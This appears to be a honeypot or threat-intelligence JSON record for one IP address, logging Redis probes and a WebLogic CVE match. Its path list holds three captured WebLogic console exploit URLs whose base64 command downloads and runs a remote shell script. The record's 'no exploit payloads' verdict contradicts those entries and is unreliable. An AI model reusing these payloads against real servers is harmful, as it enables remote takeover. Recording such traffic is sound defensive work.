{"ip":"86.38.182.171","total_events":31,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":null,"why":["31 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range.","Sent 5,047 bytes despite few ports and no known exploit path: focused interaction with one service, worth a look."],"engagement":{"level":"payload","label":"Sustained payload","detail":"5,047 bytes sent","bytes_sent":5047,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-16T01:32:08","last_seen":"2026-09-17T05:28:22","events_24h":26,"events_7d":31,"geo":{"country_code":"FI","country_name":"Finland","region":"","city":"","lat":60.1717,"lon":24.9349,"asn":198020,"org":"Verda Cloud Oy"},"source_domain":"86-38-182-171.nodes.verda.host","known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2020-2551","title":"Oracle WebLogic Server - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/console/login/LoginForm.jsp"}],"malware":[],"top_ports":[{"port":5432,"proto":"tcp","label":"Postgres","count":7},{"port":6379,"proto":"tcp","label":"Redis","count":6},{"port":6381,"proto":"tcp","label":"","count":5},{"port":16379,"proto":"tcp","label":"","count":4},{"port":7001,"proto":"tcp","label":"WebLogic","count":4},{"port":6380,"proto":"tcp","label":"","count":4},{"port":8983,"proto":"tcp","label":"Solr","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["ge11nn0400_8fd06a127c33"]},"fingerprint_peers":{"ge11nn0400_8fd06a127c33":78},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-09-16","count":20},{"date":"2026-09-17","count":11}],"recent_events":[{"timestamp":"2026-09-17T05:28:22","port":6380,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nqzhag4bdp526qc2c\r\n*3\r\n$3\r\nSET\r\n$9\r\nt17e67rd9\r\n$16\r\n1a04igahowfxyxg7\r\n*2\r\n$3\r\nGET\r\n$9\r\nt17e67rd9\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a717a68616734626470353236716332630d0a2a330d0a24330d0a5345540d0a24390d0a7431376536377264390d0a2431360d0a31613034696761686f776678797867370d0a2a320d0a24330d0a4745540d0a24390d0a7431376536377264390d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"39c9aa1f-9066-4f35-89c9-8e874b0acc33","seq":1,"duration_ms":101,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"d1748cea723b6060","label":"Redis (RESP)","strings":["PING","ECHO","qzhag4bdp526qc2c","t17e67rd9","1a04igahowfxyxg7","DBSIZE"]}},{"timestamp":"2026-09-17T05:28:18","port":6381,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nunmf9s673ul4l3cv\r\n*3\r\n$3\r\nSET\r\n$9\r\ntbfjtcbyu\r\n$16\r\n418qwknuukcoljpb\r\n*2\r\n$3\r\nGET\r\n$9\r\ntbfjtcbyu\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a756e6d663973363733756c346c3363760d0a2a330d0a24330d0a5345540d0a24390d0a7462666a74636279750d0a2431360d0a34313871776b6e75756b636f6c6a70620d0a2a320d0a24330d0a4745540d0a24390d0a7462666a74636279750d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"e32b41da-7ae9-4c06-b681-4a4f0d37ff6a","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"57805bbe28f22caa","label":"Redis (RESP)","strings":["PING","ECHO","unmf9s673ul4l3cv","tbfjtcbyu","418qwknuukcoljpb","DBSIZE"]}},{"timestamp":"2026-09-17T05:20:04","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\ny199quzxzgbwv642\r\n*3\r\n$3\r\nSET\r\n$9\r\ntgov0frzt\r\n$16\r\n70zofgk4f9cacn7h\r\n*2\r\n$3\r\nGET\r\n$9\r\ntgov0frzt\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a7931393971757a787a676277763634320d0a2a330d0a24330d0a5345540d0a24390d0a74676f763066727a740d0a2431360d0a37307a6f66676b3466396361636e37680d0a2a320d0a24330d0a4745540d0a24390d0a74676f763066727a740d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"1f504ba7-662a-4f42-94eb-55f56d5aafa6","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"c52d76038bfac70c","label":"Redis (RESP)","strings":["PING","ECHO","y199quzxzgbwv642","tgov0frzt","70zofgk4f9cacn7h","DBSIZE"]}},{"timestamp":"2026-09-17T04:52:25","port":6380,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nxfcrrjda2tk420ir\r\n*3\r\n$3\r\nSET\r\n$9\r\ntv9n2doji\r\n$16\r\nuthms4nsvyb5v2m7\r\n*2\r\n$3\r\nGET\r\n$9\r\ntv9n2doji\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a78666372726a646132746b34323069720d0a2a330d0a24330d0a5345540d0a24390d0a7476396e32646f6a690d0a2431360d0a7574686d73346e737679623576326d370d0a2a320d0a24330d0a4745540d0a24390d0a7476396e32646f6a690d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"55d91ad9-f4d4-40c4-805f-3596036863bd","seq":1,"duration_ms":101,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"4c01496d345fa1a4","label":"Redis (RESP)","strings":["PING","ECHO","xfcrrjda2tk420ir","tv9n2doji","uthms4nsvyb5v2m7","DBSIZE"]}},{"timestamp":"2026-09-17T04:52:22","port":6381,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nfuxkoto7lak3y90b\r\n*3\r\n$3\r\nSET\r\n$9\r\nt64o2xa41\r\n$16\r\ntv5rwrienm6jykfg\r\n*2\r\n$3\r\nGET\r\n$9\r\nt64o2xa41\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a6675786b6f746f376c616b33793930620d0a2a330d0a24330d0a5345540d0a24390d0a7436346f32786134310d0a2431360d0a74763572777269656e6d366a796b66670d0a2a320d0a24330d0a4745540d0a24390d0a7436346f32786134310d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"28226214-7de0-4cef-b536-d58836fc8221","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"3cd861dd32aa3a06","label":"Redis (RESP)","strings":["PING","ECHO","fuxkoto7lak3y90b","t64o2xa41","tv5rwrienm6jykfg","DBSIZE"]}},{"timestamp":"2026-09-17T04:50:37","port":6380,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nd31bbnae4wtm9ij2\r\n*3\r\n$3\r\nSET\r\n$9\r\ntwkkj8yli\r\n$16\r\n1n00l61uol19p15h\r\n*2\r\n$3\r\nGET\r\n$9\r\ntwkkj8yli\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a64333162626e61653477746d39696a320d0a2a330d0a24330d0a5345540d0a24390d0a74776b6b6a38796c690d0a2431360d0a316e30306c3631756f6c3139703135680d0a2a320d0a24330d0a4745540d0a24390d0a74776b6b6a38796c690d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"697dd1f1-373c-4125-a584-47280416cd95","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"af844ab5a09c50ba","label":"Redis (RESP)","strings":["PING","ECHO","d31bbnae4wtm9ij2","twkkj8yli","1n00l61uol19p15h","DBSIZE"]}},{"timestamp":"2026-09-17T04:50:33","port":6381,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nqckx73onodjmeuum\r\n*3\r\n$3\r\nSET\r\n$9\r\ntfvd1z28x\r\n$16\r\nvdo4xp0mkfzek1g8\r\n*2\r\n$3\r\nGET\r\n$9\r\ntfvd1z28x\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a71636b7837336f6e6f646a6d6575756d0d0a2a330d0a24330d0a5345540d0a24390d0a74667664317a3238780d0a2431360d0a76646f347870306d6b667a656b3167380d0a2a320d0a24330d0a4745540d0a24390d0a74667664317a3238780d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"63776722-2a1b-4d84-8b91-3fc016d93fca","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"f290631bc70735bc","label":"Redis (RESP)","strings":["PING","ECHO","qckx73onodjmeuum","tfvd1z28x","vdo4xp0mkfzek1g8","DBSIZE"]}},{"timestamp":"2026-09-17T00:46:54","port":16379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\ny1xygr447a3r67pj\r\n*3\r\n$3\r\nSET\r\n$9\r\ntgalxm50c\r\n$16\r\nk2fbbggt0wsmauyl\r\n*2\r\n$3\r\nGET\r\n$9\r\ntgalxm50c\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a7931787967723434376133723637706a0d0a2a330d0a24330d0a5345540d0a24390d0a7467616c786d3530630d0a2431360d0a6b326662626767743077736d6175796c0d0a2a320d0a24330d0a4745540d0a24390d0a7467616c786d3530630d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"35cddced-1efe-4d3b-95c2-7d6460cba452","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"2707c5efcc4d25e9","label":"Redis (RESP)","strings":["PING","ECHO","y1xygr447a3r67pj","tgalxm50c","k2fbbggt0wsmauyl","DBSIZE"]}},{"timestamp":"2026-09-17T00:46:22","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nkuie6rmurynxjpai\r\n*3\r\n$3\r\nSET\r\n$9\r\nthaoh735j\r\n$16\r\n10a61a37o22sbmqn\r\n*2\r\n$3\r\nGET\r\n$9\r\nthaoh735j\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a6b75696536726d7572796e786a7061690d0a2a330d0a24330d0a5345540d0a24390d0a7468616f683733356a0d0a2431360d0a31306136316133376f323273626d716e0d0a2a320d0a24330d0a4745540d0a24390d0a7468616f683733356a0d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"d4762561-542a-446e-a618-868cf25f947a","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"3b191904935d4fe9","label":"Redis (RESP)","strings":["PING","ECHO","kuie6rmurynxjpai","thaoh735j","10a61a37o22sbmqn","DBSIZE"]}},{"timestamp":"2026-09-17T00:04:24","port":16379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nPING\r\n*2\r\n$4\r\nECHO\r\n$16\r\nlblzmrzafip7lvd8\r\n*3\r\n$3\r\nSET\r\n$9\r\ntd2ugy6tj\r\n$16\r\n4md8xgy0dxpr93z7\r\n*2\r\n$3\r\nGET\r\n$9\r\ntd2ugy6tj\r\n*1\r\n$6\r\nDBSIZE\r\n","payload_hex":"2a310d0a24340d0a50494e470d0a2a320d0a24340d0a4543484f0d0a2431360d0a6c626c7a6d727a61666970376c7664380d0a2a330d0a24330d0a5345540d0a24390d0a74643275677936746a0d0a2431360d0a346d6438786779306478707239337a370d0a2a320d0a24330d0a4745540d0a24390d0a74643275677936746a0d0a2a310d0a24360d0a444253495a450d0a","method":"","user_agent":"","ja3":"","session":"b1155b27-caed-430e-bd0d-6084f8066f23","seq":1,"duration_ms":100,"bytes_in":146,"bytes_out":7,"enriched":{"digest":"9f8069831ca7eaf9","label":"Redis (RESP)","strings":["PING","ECHO","lblzmrzafip7lvd8","td2ugy6tj","4md8xgy0dxpr93z7","DBSIZE"]}}],"http_methods":[{"method":"GET","count":5}],"distinct_ports_total":7,"top_paths":[{"path":"/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22java.lang.Runtime.getRuntime%28%29.exec%28new%20java.lang.String%5B%5D%7B%5C%22%2Fbin%2Fbash%5C%22%2C%5C%22-c%5C%22%2C%5C%22%7Becho%2Cd2dldCAtcSAtTyAvZGV2L251bGwgaHR0cDovLzg2LjM4LjE4Mi4xNzEvd2wtNV8xNzVfMTgzXzEzMl83MDAxL29rOyB3Z2V0IC1xIC1UMjAgLU8gL3RtcC8uZyBodHRwOi8vODYuMzguMTgyLjE3MS9nby5zaCAmJiBXPTVfMTc1XzE4M18xMzJfNzAwMSBzaCAvdG1wLy5n%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%5C%22%7D%29%3B%22%29","count":1,"ports":1},{"path":"/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22java.lang.Runtime.getRuntime%28%29.exec%28new%20java.lang.String%5B%5D%7B%5C%22%2Fbin%2Fbash%5C%22%2C%5C%22-c%5C%22%2C%5C%22%7Becho%2Cd2dldCAtcSAtTyAvZGV2L251bGwgaHR0cDovLzg2LjM4LjE4Mi4xNzEvd2wtNV8xNzVfMTgzXzEzMl83MDAxL29rOyB3Z2V0IC1xIC1UMjAgLU8gL3RtcC8uZyBodHRwOi8vODYuMzguMTgyLjE3MS9nby5zaCAmJiBXPTVfMTc1XzE4M18xMzJfNzAwMSBzaCAvdG1wLy5n%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%5C%22%7D%29%3B%22%29","count":1,"ports":1},{"path":"/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=WebLogic.console&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22java.lang.Runtime.getRuntime%28%29.exec%28new%20java.lang.String%5B%5D%7B%5C%22%2Fbin%2Fbash%5C%22%2C%5C%22-c%5C%22%2C%5C%22%7Becho%2Cd2dldCAtcSAtTyAvZGV2L251bGwgaHR0cDovLzg2LjM4LjE4Mi4xNzEvd2wtNV8xNzVfMTgzXzEzMl83MDAxL29rOyB3Z2V0IC1xIC1UMjAgLU8gL3RtcC8uZyBodHRwOi8vODYuMzguMTgyLjE3MS9nby5zaCAmJiBXPTVfMTc1XzE4M18xMzJfNzAwMSBzaCAvdG1wLy5n%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%5C%22%7D%29%3B%22%29","count":1,"ports":1},{"path":"/console/login/LoginForm.jsp","count":1,"ports":1},{"path":"/solr/admin/cores?wt=json","count":1,"ports":1}],"distinct_paths_total":5,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"CVE-2020-2551","tag_type":"cve","title":"Oracle WebLogic Server - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/console/login/LoginForm.jsp","reference_urls":["https://github.com/hktalent/CVE-2020-2551","https://nvd.nist.gov/vuln/detail/CVE-2020-2551","https://www.oracle.com/security-alerts/cpujan2020.html","https://github.com/neilzhang1/Chinese-Charts","https://github.com/pjgmonteiro/Pentest-tools"]}],"data_as_of":"2026-09-17T11:34:48.461669+00:00"}